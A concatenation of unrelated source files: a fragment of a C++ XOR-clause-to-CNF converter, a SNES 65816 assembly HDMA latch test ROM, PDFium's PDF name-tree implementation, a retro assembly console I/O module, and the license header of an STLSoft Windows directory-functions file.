matrix[i].set_bit(j);
else
matrix[i].reset_bit(j);
if (temp)
matrix[next_row].set_bit(j);
else
matrix[next_row].reset_bit(j);
}
}
/* add current row to all other rows */
for (auto k = i + 1; k < num_rows; ++k) {
if (!matrix[k][index])
continue;
// std::cout << "add " << i << " to " << k << std::endl;
for (auto j = 0u; j < matrix[k].num_bits(); ++j) {
if (matrix[k][j] ^ matrix[i][j]) {
matrix[k].set_bit(j);
} else {
matrix[k].reset_bit(j);
}
}
}
++index;
}
}
void
print_matrix(std::ostream& os,
std::vector<utils::dynamic_bitset<>> const& matrix) const {
for (const auto& m : matrix) {
for (auto i = 0; i < m.num_bits(); ++i) {
os << m[i];
}
os << std::endl;
}
}
inline void add_xor_clause(std::vector<std::vector<int>>& clauses,
const std::vector<int>& xor_clause) {
assert(!xor_clause.empty() && "clause must not be empty");
std::queue<int> lits;
for (const auto& l : xor_clause) {
lits.push(l);
}
while (lits.size() > 1) {
auto a = lits.front();
lits.pop();
auto b = lits.front();
lits.pop();
int c = _sid++;
clauses.emplace_back(std::vector<int>{-a, -b, -c});
clauses.emplace_back(std::vector<int>{a, b, -c});
clauses.emplace_back(std::vector<int>{a, -b, c});
clauses.emplace_back(std::vector<int>{-a, b, c});
lits.push(c);
}
assert(lits.size() == 1u);
clauses.emplace_back(std::vector<int>{lits.front()});
}
void cnf_from_matrix(std::vector<std::vector<int>>& clauses,
std::vector<utils::dynamic_bitset<>> const& matrix) {
for (const auto& row : matrix) {
std::vector<int> clause;
for (auto i = 0; i < row.num_bits() - 1u; ++i) {
if (row[i]) {
clause.push_back(i + 1);
}
}
if (!clause.empty()) {
if (row[row.num_bits() - 1u]) {
clause[0] *= -1;
}
add_xor_clause(_clauses, clause);
}
}
}
void
cnf_from_xor_clauses(std::vector<std::vector<int>>& clauses,
std::vector<std::vector<int>> const& xor_clauses) {
for (const auto& xor_clause : xor_clauses) {
add_xor_clause(_clauses, xor_clause);
}
}
std::vector<std::vector<int>> get() const { return _clauses; }
protected:
int& _sid;
std::vector<std::vector<int>> const& _xor_clauses;
uint32_t _num_vars;
std::vector<std::vector<int>> _clauses;
}; /* cnf_from_xcnf */
} // namespace easy::sat2
// Local Variables:
// c-basic-offset: 2
// eval: (c-set-offset 'substatement-open 0)
// eval: (c-set-offset 'innamespace 0)
// End:
|
// A simple HDMAEN latch test
//
// Copyright (c) 2019, Marcus Rowe <undisbeliever@gmail.com>.
// Distributed under The MIT License: https://opensource.org/licenses/MIT
define MEMORY_MAP = LOROM
define ROM_SIZE = 1
define ROM_SPEED = fast
define REGION = Japan
define ROM_NAME = "HDMAEN LATCH TEST 2"
define VERSION = 0
architecture wdc65816-strict
include "../common.inc"
createCodeBlock(code, 0x808000, 0x80ffaf)
createRamBlock(zeropage, 0x7e0000, 0x7e00ff)
createRamBlock(shadow, 0x7e0100, 0x7e1f7f)
createRamBlock(stack, 0x7e1f80, 0x7e1fff)
include "wait.inc"
constant VERTICAL_OFFSET = 6
constant HTIME_TO_TEST = 206
constant TESTS_PER_CHANNEL = 13
au()
iu()
code()
NmiHandler:
BreakHandler:
CopHandler:
EmptyHandler:
sep #$20
a8()
lda.b #0
sta.l NMITIMEN
lda.b #8
sta.l INIDISP
// Don't use STP, it can cause some versions snes9x to freeze
bra EmptyHandler
code()
PartialHdmaTable:
// CGADD, CGDATA
dw 0, 31 << Palette.red.shift
db 0
// IRQ ISR
// REQUIRES: DB access registers
au()
iu()
code()
IrqHandler:
sep #$20
a8()
bit.w TIMEUP // Required to escape IrqHandler
rti
au()
iu()
code()
function ResetHandler {
constant STACK_BOTTOM = __MEMORY__.ramBlocks.stack.end
assert((STACK_BOTTOM & 0xffff) < 0x2000)
assert((STACK_BOTTOM >> 16) == 0 || (STACK_BOTTOM >> 16) == 0x7e)
jml Reset
Reset:
sei
clc
xce // Switch to native mode
rep #$38 // 16 bit A, 16 bit Index, Decimal mode off
a16()
i16()
ldx.w #STACK_BOTTOM
txs // Setup stack
lda.w #$0000
tcd // Reset Direct Page
// Set Data Bank
pea (REGISTER_DB << 8) | $30
plp
plb
a8()
i8()
stz.w NMITIMEN
stz.w HDMAEN
// ROM access time
assert(ROM_SPEED.{ROM_SPEED} == ROM_SPEED.fast)
lda.b #MEMSEL.fastrom
sta.w MEMSEL
lda.b #INIDISP.force
sta.b INIDISP
// Registers $2105 - $210c
// BG settings and VRAM base addresses
ldx.b #$210c - $2105
-
stz.w $2105,x
dex
bpl -
// Registers $2123 - $2133
// Window Settings, BG/OBJ designation, Color Math, Screen Mode
// All disabled
ldx.b #0x2133 - 0x2123
-
stz.w 0x2123,x
dex
bpl -
// reset all of the DMA registers
// Registers $4300 - $437f
ldx.b #0x7f
-
stz.w 0x4300,x
dex
bpl -
jml Main
}
au()
iu()
code()
function Main {
allocate(_channelIndex, shadow, 2)
allocate(_hdmaen, shadow, 1)
sep #$30
a8()
i8()
stz.w NMITIMEN
stz.w HDMAEN
// Wait until VBlank
-
assert(HVBJOY.vBlank == 0x80)
lda.w HVBJOY
bpl -
// Set BG to white
stz.w CGADD
lda.b #0xff
sta.w CGDATA
sta.w CGDATA
// Enable display - full brightness
lda.b #15
sta.w INIDISP
// Setup HDMA registers
ldx.b #0x70
-
lda.b #DMAP.direction.toPpu | DMAP.transfer.twoWriteTwice
sta.w DMAP0,x
lda.b #CGADD & 0xff
sta.w BBAD0,x
lda.b #PartialHdmaTable
sta.w A1T0L,x
sta.w A2A0L,x
lda.b #PartialHdmaTable >> 8
sta.w A1T0H,x
sta.w A2A0H,x
lda.b #PartialHdmaTable >> 16
sta.w A1B0,x
txa
sec
sbc.b #0x10
tax
bpl -
// Wait until scanline 8
lda.b #VERTICAL_OFFSET
sta.w VTIMEL
stz.w VTIMEH
lda.b #NMITIMEN.vCounter
sta.w NMITIMEN
cli
wai
lda.b #HTIME_TO_TEST
sta.w HTIMEL
stz.w HTIMEH
lda.b #NMITIMEN.hCounter
sta.w NMITIMEN
rep #$10
a8()
i16()
ldx.w #0
stx.w _channelIndex
lda.b #1
sta.w _hdmaen
HdmaChannelLoop:
evaluate t = 0
while {t} < TESTS_PER_CHANNEL {
evaluate delay = 24 + {t} * 2
evaluate after_delay = 48 - {t} * 2
wdm #{t}
wai
w{delay}()
lda.w _hdmaen
sta.w HDMAEN
w{after_delay}()
jsr _OddScanline
evaluate t = {t} + 1
}
lda.w _channelIndex
clc
adc.b #16
sta.w _channelIndex
asl.w _hdmaen
beq +
jmp HdmaChannelLoop
+
assert(TESTS_PER_CHANNEL * 2 * 8 + VERTICAL_OFFSET < 220)
jmp Main
a8()
i16()
function _OddScanline {
wai
stz.w HDMAEN
// Reset HDMA registers
ldx.w _channelIndex
stz.w NLTR0,x
lda.b #PartialHdmaTable
sta.w A2A0L,x
// No need to set A2A0H
assert((PartialHdmaTable & 0xff) + 6 < 256)
// Set color 0 to white on next HBlank
-
assert(HVBJOY.hBlank == 0x40)
bit.w HVBJOY
bvc -
lda.b #0xff
stz.w CGADD
sta.w CGDATA
sta.w CGDATA
// Required to get the H-Counter IRQ to fire at a consistent time
// (on bsnes-plus at least)
lda.b #11
-
dec
bne -
w32()
w18()
rts
}
}
finalizeMemory()
|
// Copyright 2016 PDFium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Original code copyright 2014 Foxit Software Inc. http://www.foxitsoftware.com
#include "core/fpdfdoc/cpdf_nametree.h"
#include <utility>
#include <vector>
#include "core/fpdfapi/parser/cpdf_array.h"
#include "core/fpdfapi/parser/cpdf_dictionary.h"
#include "core/fpdfapi/parser/cpdf_document.h"
#include "core/fpdfapi/parser/cpdf_reference.h"
#include "core/fpdfapi/parser/cpdf_string.h"
#include "core/fpdfapi/parser/fpdf_parser_decode.h"
#include "core/fxcrt/stl_util.h"
#include "third_party/base/check.h"
#include "third_party/base/ptr_util.h"
namespace {
constexpr int kNameTreeMaxRecursion = 32;
std::pair<WideString, WideString> GetNodeLimitsAndSanitize(
CPDF_Array* pLimits) {
DCHECK(pLimits);
WideString csLeft = pLimits->GetUnicodeTextAt(0);
WideString csRight = pLimits->GetUnicodeTextAt(1);
// If the lower limit is greater than the upper limit, swap them.
if (csLeft.Compare(csRight) > 0) {
pLimits->SetNewAt<CPDF_String>(0, csRight.AsStringView());
pLimits->SetNewAt<CPDF_String>(1, csLeft.AsStringView());
csLeft = pLimits->GetUnicodeTextAt(0);
csRight = pLimits->GetUnicodeTextAt(1);
}
while (pLimits->size() > 2)
pLimits->RemoveAt(pLimits->size() - 1);
return {csLeft, csRight};
}
// Get the limit arrays that leaf array |pFind| is under in the tree with root
// |pNode|. |pLimits| will hold all the limit arrays from the leaf up to before
// the root. Return true if successful.
bool GetNodeAncestorsLimitsInternal(CPDF_Dictionary* pNode,
const CPDF_Array* pFind,
int nLevel,
std::vector<CPDF_Array*>* pLimits) {
if (nLevel > kNameTreeMaxRecursion)
return false;
if (pNode->GetArrayFor("Names") == pFind) {
pLimits->push_back(pNode->GetArrayFor("Limits"));
return true;
}
CPDF_Array* pKids = pNode->GetArrayFor("Kids");
if (!pKids)
return false;
for (size_t i = 0; i < pKids->size(); ++i) {
CPDF_Dictionary* pKid = pKids->GetDictAt(i);
if (!pKid)
continue;
if (GetNodeAncestorsLimitsInternal(pKid, pFind, nLevel + 1, pLimits)) {
pLimits->push_back(pNode->GetArrayFor("Limits"));
return true;
}
}
return false;
}
// Wrapper for GetNodeAncestorsLimitsInternal() so callers do not need to know
// about the details.
std::vector<CPDF_Array*> GetNodeAncestorsLimits(CPDF_Dictionary* pNode,
const CPDF_Array* pFind) {
std::vector<CPDF_Array*> results;
GetNodeAncestorsLimitsInternal(pNode, pFind, 0, &results);
return results;
}
// Upon the deletion of |csName| from leaf array |pFind|, update the ancestors
// of |pFind|. Specifically, the limits of |pFind|'s ancestors will be updated
// if needed, and any ancestors that are now empty will be removed.
bool UpdateNodesAndLimitsUponDeletion(CPDF_Dictionary* pNode,
const CPDF_Array* pFind,
const WideString& csName,
int nLevel) {
if (nLevel > kNameTreeMaxRecursion)
return false;
CPDF_Array* pLimits = pNode->GetArrayFor("Limits");
WideString csLeft;
WideString csRight;
if (pLimits)
std::tie(csLeft, csRight) = GetNodeLimitsAndSanitize(pLimits);
CPDF_Array* pNames = pNode->GetArrayFor("Names");
if (pNames) {
if (pNames != pFind)
return false;
if (pNames->IsEmpty() || !pLimits)
return true;
if (csLeft != csName && csRight != csName)
return true;
// Since |csName| defines |pNode|'s limits, we need to loop through the
// names to find the new lower and upper limits.
WideString csNewLeft = csRight;
WideString csNewRight = csLeft;
for (size_t i = 0; i < pNames->size() / 2; ++i) {
WideString wsName = pNames->GetUnicodeTextAt(i * 2);
if (wsName.Compare(csNewLeft) < 0)
csNewLeft = wsName;
if (wsName.Compare(csNewRight) > 0)
csNewRight = wsName;
}
pLimits->SetNewAt<CPDF_String>(0, csNewLeft.AsStringView());
pLimits->SetNewAt<CPDF_String>(1, csNewRight.AsStringView());
return true;
}
CPDF_Array* pKids = pNode->GetArrayFor("Kids");
if (!pKids)
return false;
// Loop through the kids to find the leaf array |pFind|.
for (size_t i = 0; i < pKids->size(); ++i) {
CPDF_Dictionary* pKid = pKids->GetDictAt(i);
if (!pKid)
continue;
if (!UpdateNodesAndLimitsUponDeletion(pKid, pFind, csName, nLevel + 1))
continue;
// Remove this child node if it's empty.
if ((pKid->KeyExist("Names") && pKid->GetArrayFor("Names")->IsEmpty()) ||
(pKid->KeyExist("Kids") && pKid->GetArrayFor("Kids")->IsEmpty())) {
pKids->RemoveAt(i);
}
if (pKids->IsEmpty() || !pLimits)
return true;
if (csLeft != csName && csRight != csName)
return true;
// Since |csName| defines |pNode|'s limits, we need to loop through the
// kids to find the new lower and upper limits.
WideString csNewLeft = csRight;
WideString csNewRight = csLeft;
for (size_t j = 0; j < pKids->size(); ++j) {
CPDF_Array* pKidLimits = pKids->GetDictAt(j)->GetArrayFor("Limits");
DCHECK(pKidLimits);
if (pKidLimits->GetUnicodeTextAt(0).Compare(csNewLeft) < 0)
csNewLeft = pKidLimits->GetUnicodeTextAt(0);
if (pKidLimits->GetUnicodeTextAt(1).Compare(csNewRight) > 0)
csNewRight = pKidLimits->GetUnicodeTextAt(1);
}
pLimits->SetNewAt<CPDF_String>(0, csNewLeft.AsStringView());
pLimits->SetNewAt<CPDF_String>(1, csNewRight.AsStringView());
return true;
}
return false;
}
// Search for |csName| in the tree with root |pNode|. If successful, return the
// value that |csName| points to; |nIndex| will be the index of |csName|,
// |ppFind| will be the leaf array that |csName| is found in, and |pFindIndex|
// will be the index of |csName| in |ppFind|. If |csName| is not found, |ppFind|
// will be the leaf array that |csName| should be added to, and |pFindIndex|
// will be the index that it should be added at.
CPDF_Object* SearchNameNodeByNameInternal(CPDF_Dictionary* pNode,
const WideString& csName,
int nLevel,
size_t* nIndex,
CPDF_Array** ppFind,
int* pFindIndex) {
if (nLevel > kNameTreeMaxRecursion)
return nullptr;
CPDF_Array* pLimits = pNode->GetArrayFor("Limits");
CPDF_Array* pNames = pNode->GetArrayFor("Names");
if (pLimits) {
WideString csLeft;
WideString csRight;
std::tie(csLeft, csRight) = GetNodeLimitsAndSanitize(pLimits);
// Skip this node if the name to look for is smaller than its lower limit.
if (csName.Compare(csLeft) < 0)
return nullptr;
// Skip this node if the name to look for is greater than its higher limit,
// and the node itself is a leaf node.
if (csName.Compare(csRight) > 0 && pNames) {
if (ppFind)
*ppFind = pNames;
if (pFindIndex)
*pFindIndex = fxcrt::CollectionSize<int32_t>(*pNames) / 2 - 1;
return nullptr;
}
}
// If the node is a leaf node, look for the name in its names array.
if (pNames) {
size_t dwCount = pNames->size() / 2;
for (size_t i = 0; i < dwCount; i++) {
WideString csValue = pNames->GetUnicodeTextAt(i * 2);
int32_t iCompare = csValue.Compare(csName);
if (iCompare > 0)
break;
if (ppFind)
*ppFind = pNames;
if (pFindIndex)
*pFindIndex = pdfium::base::checked_cast<int32_t>(i);
if (iCompare < 0)
continue;
*nIndex += i;
return pNames->GetDirectObjectAt(i * 2 + 1);
}
*nIndex += dwCount;
return nullptr;
}
// Search through the node's children.
CPDF_Array* pKids = pNode->GetArrayFor("Kids");
if (!pKids)
return nullptr;
for (size_t i = 0; i < pKids->size(); i++) {
CPDF_Dictionary* pKid = pKids->GetDictAt(i);
if (!pKid)
continue;
CPDF_Object* pFound = SearchNameNodeByNameInternal(
pKid, csName, nLevel + 1, nIndex, ppFind, pFindIndex);
if (pFound)
return pFound;
}
return nullptr;
}
// Wrapper for SearchNameNodeByNameInternal() so callers do not need to know
// about the details.
CPDF_Object* SearchNameNodeByName(CPDF_Dictionary* pNode,
const WideString& csName,
CPDF_Array** ppFind,
int* pFindIndex) {
size_t nIndex = 0;
return SearchNameNodeByNameInternal(pNode, csName, 0, &nIndex, ppFind,
pFindIndex);
}
struct IndexSearchResult {
// For the n-th object in a tree, the key and value.
WideString key;
CPDF_Object* value;
// The leaf node that holds `key` and `value`.
CPDF_Array* container;
// The index for `key` in `container`. Must be even.
size_t index;
};
// Find the `nTargetPairIndex` node in the tree with root `pNode`. `nLevel`
// tracks the recursion level and `nCurPairIndex` tracks the progress towards
// `nTargetPairIndex`.
absl::optional<IndexSearchResult> SearchNameNodeByIndexInternal(
CPDF_Dictionary* pNode,
size_t nTargetPairIndex,
int nLevel,
size_t* nCurPairIndex) {
if (nLevel > kNameTreeMaxRecursion)
return absl::nullopt;
CPDF_Array* pNames = pNode->GetArrayFor("Names");
if (pNames) {
size_t nCount = pNames->size() / 2;
if (nTargetPairIndex >= *nCurPairIndex + nCount) {
*nCurPairIndex += nCount;
return absl::nullopt;
}
size_t index = 2 * (nTargetPairIndex - *nCurPairIndex);
CPDF_Object* value = pNames->GetDirectObjectAt(index + 1);
if (!value)
return absl::nullopt;
IndexSearchResult result;
result.key = pNames->GetUnicodeTextAt(index);
result.value = value;
result.container = pNames;
result.index = index;
return result;
}
CPDF_Array* pKids = pNode->GetArrayFor("Kids");
if (!pKids)
return absl::nullopt;
for (size_t i = 0; i < pKids->size(); i++) {
CPDF_Dictionary* pKid = pKids->GetDictAt(i);
if (!pKid)
continue;
absl::optional<IndexSearchResult> result = SearchNameNodeByIndexInternal(
pKid, nTargetPairIndex, nLevel + 1, nCurPairIndex);
if (result.has_value())
return result;
}
return absl::nullopt;
}
// Wrapper for SearchNameNodeByIndexInternal() so callers do not need to know
// about the details.
absl::optional<IndexSearchResult> SearchNameNodeByIndex(
CPDF_Dictionary* pNode,
size_t nTargetPairIndex) {
size_t nCurPairIndex = 0;
return SearchNameNodeByIndexInternal(pNode, nTargetPairIndex, 0,
&nCurPairIndex);
}
// Get the total number of key-value pairs in the tree with root |pNode|.
size_t CountNamesInternal(CPDF_Dictionary* pNode, int nLevel) {
if (nLevel > kNameTreeMaxRecursion)
return 0;
CPDF_Array* pNames = pNode->GetArrayFor("Names");
if (pNames)
return pNames->size() / 2;
CPDF_Array* pKids = pNode->GetArrayFor("Kids");
if (!pKids)
return 0;
size_t nCount = 0;
for (size_t i = 0; i < pKids->size(); i++) {
CPDF_Dictionary* pKid = pKids->GetDictAt(i);
if (!pKid)
continue;
nCount += CountNamesInternal(pKid, nLevel + 1);
}
return nCount;
}
CPDF_Array* GetNamedDestFromObject(CPDF_Object* obj) {
if (!obj)
return nullptr;
CPDF_Array* array = obj->AsArray();
if (array)
return array;
CPDF_Dictionary* dict = obj->AsDictionary();
if (dict)
return dict->GetArrayFor("D");
return nullptr;
}
CPDF_Array* LookupOldStyleNamedDest(CPDF_Document* pDoc,
const ByteString& name) {
CPDF_Dictionary* pDests = pDoc->GetRoot()->GetDictFor("Dests");
if (!pDests)
return nullptr;
return GetNamedDestFromObject(pDests->GetDirectObjectFor(name));
}
} // namespace
CPDF_NameTree::CPDF_NameTree(CPDF_Dictionary* pRoot) : m_pRoot(pRoot) {
DCHECK(m_pRoot);
}
CPDF_NameTree::~CPDF_NameTree() = default;
// static
std::unique_ptr<CPDF_NameTree> CPDF_NameTree::Create(
CPDF_Document* pDoc,
const ByteString& category) {
CPDF_Dictionary* pRoot = pDoc->GetRoot();
if (!pRoot)
return nullptr;
CPDF_Dictionary* pNames = pRoot->GetDictFor("Names");
if (!pNames)
return nullptr;
CPDF_Dictionary* pCategory = pNames->GetDictFor(category);
if (!pCategory)
return nullptr;
return pdfium::WrapUnique(new CPDF_NameTree(pCategory)); // Private ctor.
}
// static
std::unique_ptr<CPDF_NameTree> CPDF_NameTree::CreateWithRootNameArray(
CPDF_Document* pDoc,
const ByteString& category) {
CPDF_Dictionary* pRoot = pDoc->GetRoot();
if (!pRoot)
return nullptr;
// Retrieve the document's Names dictionary; create it if missing.
CPDF_Dictionary* pNames = pRoot->GetDictFor("Names");
if (!pNames) {
pNames = pDoc->NewIndirect<CPDF_Dictionary>();
pRoot->SetNewFor<CPDF_Reference>("Names", pDoc, pNames->GetObjNum());
}
// Create the |category| dictionary if missing.
CPDF_Dictionary* pCategory = pNames->GetDictFor(category);
if (!pCategory) {
pCategory = pDoc->NewIndirect<CPDF_Dictionary>();
pCategory->SetNewFor<CPDF_Array>("Names");
pNames->SetNewFor<CPDF_Reference>(category, pDoc, pCategory->GetObjNum());
}
return pdfium::WrapUnique(new CPDF_NameTree(pCategory)); // Private ctor.
}
// static
std::unique_ptr<CPDF_NameTree> CPDF_NameTree::CreateForTesting(
CPDF_Dictionary* pRoot) {
return pdfium::WrapUnique(new CPDF_NameTree(pRoot)); // Private ctor.
}
// static
CPDF_Array* CPDF_NameTree::LookupNamedDest(CPDF_Document* pDoc,
const ByteString& name) {
CPDF_Array* dest_array = nullptr;
std::unique_ptr<CPDF_NameTree> name_tree = Create(pDoc, "Dests");
if (name_tree)
dest_array = name_tree->LookupNewStyleNamedDest(name);
if (!dest_array)
dest_array = LookupOldStyleNamedDest(pDoc, name);
return dest_array;
}
size_t CPDF_NameTree::GetCount() const {
return CountNamesInternal(m_pRoot.Get(), 0);
}
bool CPDF_NameTree::AddValueAndName(RetainPtr<CPDF_Object> pObj,
const WideString& name) {
CPDF_Array* pFind = nullptr;
int nFindIndex = -1;
// Handle the corner case where the root node is empty. i.e. No kids and no
// names. In which case, just insert into it and skip all the searches.
CPDF_Array* pNames = m_pRoot->GetArrayFor("Names");
if (pNames && pNames->IsEmpty() && !m_pRoot->GetArrayFor("Kids"))
pFind = pNames;
if (!pFind) {
// Fail if the tree already contains this name or if the tree is too deep.
if (SearchNameNodeByName(m_pRoot.Get(), name, &pFind, &nFindIndex))
return false;
}
// If the returned |pFind| is a nullptr, then |name| is smaller than all
// existing entries in the tree, and we did not find a leaf array to place
// |name| into. We instead will find the leftmost leaf array in which to place
// |name| and |pObj|.
if (!pFind) {
absl::optional<IndexSearchResult> result =
SearchNameNodeByIndex(m_pRoot.Get(), 0);
if (!result.has_value()) {
// Give up if that fails too.
return false;
}
pFind = result.value().container;
DCHECK(pFind);
}
// Insert the name and the object into the leaf array found. Note that the
// insertion position is right after the key-value pair returned by |index|.
size_t nNameIndex = (nFindIndex + 1) * 2;
size_t nValueIndex = nNameIndex + 1;
pFind->InsertNewAt<CPDF_String>(nNameIndex, name.AsStringView());
pFind->InsertAt(nValueIndex, std::move(pObj));
// Expand the limits that the newly added name is under, if the name falls
// outside of the limits of its leaf array or any arrays above it.
std::vector<CPDF_Array*> all_limits =
GetNodeAncestorsLimits(m_pRoot.Get(), pFind);
for (auto* pLimits : all_limits) {
if (!pLimits)
continue;
if (name.Compare(pLimits->GetUnicodeTextAt(0)) < 0)
pLimits->SetNewAt<CPDF_String>(0, name.AsStringView());
if (name.Compare(pLimits->GetUnicodeTextAt(1)) > 0)
pLimits->SetNewAt<CPDF_String>(1, name.AsStringView());
}
return true;
}
bool CPDF_NameTree::DeleteValueAndName(size_t nIndex) {
absl::optional<IndexSearchResult> result =
SearchNameNodeByIndex(m_pRoot.Get(), nIndex);
if (!result) {
// Fail if the tree does not contain |nIndex|.
return false;
}
// Remove the name and the object from the leaf array |pFind|.
CPDF_Array* pFind = result.value().container;
pFind->RemoveAt(result.value().index + 1);
pFind->RemoveAt(result.value().index);
// Delete empty nodes and update the limits of |pFind|'s ancestors as needed.
UpdateNodesAndLimitsUponDeletion(m_pRoot.Get(), pFind, result.value().key, 0);
return true;
}
CPDF_Object* CPDF_NameTree::LookupValueAndName(size_t nIndex,
WideString* csName) const {
absl::optional<IndexSearchResult> result =
SearchNameNodeByIndex(m_pRoot.Get(), nIndex);
if (!result) {
csName->clear();
return nullptr;
}
*csName = std::move(result.value().key);
return result.value().value;
}
CPDF_Object* CPDF_NameTree::LookupValue(const WideString& csName) const {
return SearchNameNodeByName(m_pRoot.Get(), csName, nullptr, nullptr);
}
CPDF_Array* CPDF_NameTree::LookupNewStyleNamedDest(const ByteString& sName) {
return GetNamedDestFromObject(LookupValue(PDF_DecodeText(sName.raw_span())));
}
|
; ******************************************************************************
; ******************************************************************************
;
; Name: personality_io.asm
; Purpose: Personality Common I/O Routines
; Date: 22nd July 2019
; Author: Paul Robson
;
; ******************************************************************************
; ******************************************************************************
IOCursorX = 8 ; cursor position
IOCursorY = 9
IOLineLo = 10 ; line position.
IOLineHi = 11
; ******************************************************************************
;
; Initialise the I/O System
;
; ******************************************************************************
IOInitialise:
jsr EXTClearScreen ; clear screen.
pha
lda #00 ; home cursor
sta IOCursorX
sta IOCursorY
pla
rts
; ******************************************************************************
;
; Print Character
;
; Handles 13 (CR) 8 (Backspace) Ctrl-WASD move Ctrl-Z Clear.
; ******************************************************************************
IOPrintChar:
pha ; save registers
phx
phy
and #$7F ; 7 bits only.
cmp #13 ; handle CR
beq _IOPCCarriageReturn
cmp #$20 ; control character
bcc _IOPControl
jsr IOGetCursorXY ; get cursor address in XY.
and #$3F ; 6 bit PETSCII
jsr EXTWriteScreen ; write character at that position.
inc IOCursorX ; increment cursor X
lda IOCursorX
cmp #EXTWidth ; zero if at RHS
bne _IOPCExit
;
_IOPCCarriageReturn:
lda #0 ; LHS
sta IOCursorX
inc IOCursorY ; one down
lda IOCursorY ; off the bottom ?
cmp #EXTHeight
bne _IOPCExit
dec IOCursorY ; back up and scroll
jsr EXTScrollDisplay
bra _IOPCExit
;
_IOPCClear:
jsr EXTClearScreen
lda #0
sta IOCursorX
sta IOCursorY
;
_IOPCExit: ; reload registers and exit
ply
plx
pla
rts
;
_IOPControl:
cmp #"Z"-64 ; Ctrl-Z clear
beq _IOPCClear
cmp #"A"-64 ; Cursor movement.
beq _IOPLeft
cmp #"D"-64
beq _IOPRight
cmp #"W"-64
beq _IOPUp
cmp #"S"-64
beq _IOPDown
cmp #8 ; Backspace
bne _IOPCExit
;
jsr IOGetCursorXY ; get cursor address in XY.
lda #" "
jsr EXTWriteScreen ; write space at that position.
;
_IOPLeft: ; cursor movement.
dec IOCursorX
bpl _IOPCExit
lda #EXTWidth-1
sta IOCursorX
bra _IOPCExit
_IOPRight:
inc IOCursorX
lda IOCursorX
eor #EXTWidth
bne _IOPCExit
sta IOCursorX
bra _IOPCExit
_IOPUp:
dec IOCursorY
bpl _IOPCExit
lda #EXTHeight-1
sta IOCursorY
bra _IOPCExit
_IOPDown:
inc IOCursorY
lda IOCursorY
eor #EXTHeight
bne _IOPCExit
sta IOCursorY
bra _IOPCExit
; ******************************************************************************
;
; Convert character to upper case
;
; ******************************************************************************
IOUpperCase:
cmp #"a"
bcc _IOUCExit
cmp #"z"+1
bcs _IOUCExit
sec
sbc #32
_IOUCExit:
rts
; ******************************************************************************
;
; Calculate position on screen X + Y * 40
;
; Note, if Width is not 40 this won't work.
; ******************************************************************************
IOGetCursorXY:
pha
lda IOCursorY ; multiply IOCursorY x 5
asl a
asl a ; x 4, carry clear
adc IOCursorY ; so this will be 0..199 now
tax
txa ; x 10
asl a
tax
lda #0
rol a
tay
txa ; x 20
asl a
tax
tya
rol a
tay
txa ; x 40
asl a
tax
tya
rol a
tay
txa ; add X to that.
clc
adc IOCursorX
tax
bcc _IOGCXYExit
iny
_IOGCXYExit:
pla
rts
; ******************************************************************************
;
; Read line to XY from current position
;
; ******************************************************************************
IOReadLine:
pha
stx IOLineLo
sty IOLineHi
_IROLLoop:
jsr IOGetCursorXY ; get cursor address in XY.
jsr EXTReadScreen ; get character there.
pha
lda #102 ; write cursor character there
jsr EXTWriteScreen
_IROLWaitKey: ; get a keystroke
jsr EXTReadKey
ora #0
beq _IROLWaitKey
jsr IOUpperCase ; capitalise
tax ; save in X
pla ; restore old
phx ; save new character.
jsr IOGetCursorXY ; get cursor address in XY.
jsr EXTWriteScreen ; write out.
pla ; restore old
cmp #13
beq _IROLExit ; exit if CR
jsr IOPrintChar ; print it.
bra _IROLLoop
;
_IROLExit:
lda #0 ; go to start of line.
sta IOCursorX
ldy #0 ; position
_IROLCopy:
phy ; save position
jsr IOGetCursorXY ; get cursor position.
jsr EXTReadScreen ; read screen
ply ; get position back
eor #$20
clc
adc #$20
sta (IOLineLo),y ; save in buffer.
inc IOCursorX ; cursor right
iny ; bump pointer
cpy #EXTWidth ; not done full line.
bne _IROLCopy
lda #13 ; carriage return
jsr IOPrintChar
ldy #EXTWidth ; trim trailing spaces
_IROLTrim:
dey
bmi _IROLFound
lda (IOLineLo),y
cmp #32
beq _IROLTrim
_IROLFound:
iny
lda #0 ; make it ASCIIZ
sta (IOLineLo),y
ldx IOLineLo
ldy IOLineHi
pla
rts
; ******************************************************************************
;
; Print String at XY
;
; ******************************************************************************
IOPrintString:
pha
stx IOLineLo
sty IOLineHi
ldy #0
_IOPSLoop:
lda (IOLineLo),y
beq _IOPSExit
jsr IOPrintChar
iny
bra _IOPSLoop
_IOPSExit
ldx IOLineLo
ldy IOLineHi
pla
rts
|
/* /////////////////////////////////////////////////////////////////////////
* File: winstl/filesystem/directory_functions.hpp (originally MLFlMan.h, ::SynesisStd)
*
* Purpose: Functions for manipulating directories.
*
* Created: 7th February 2002
* Updated: 26th February 2011
*
* Home: http://stlsoft.org/
*
* Copyright (c) 2002-2011, Matthew Wilson and Synesis Software
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* - Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
* - Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* - Neither the name(s) of Matthew Wilson and Synesis Software nor the names of
* any contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
* ////////////////////////////////////////////////////////////////////// */
/** \file winstl/filesystem/directory_functions.hpp
*
* \brief [C++ only] Functions for manipulating directories
* (\ref group__library__filesystem "File System" Library).
*/
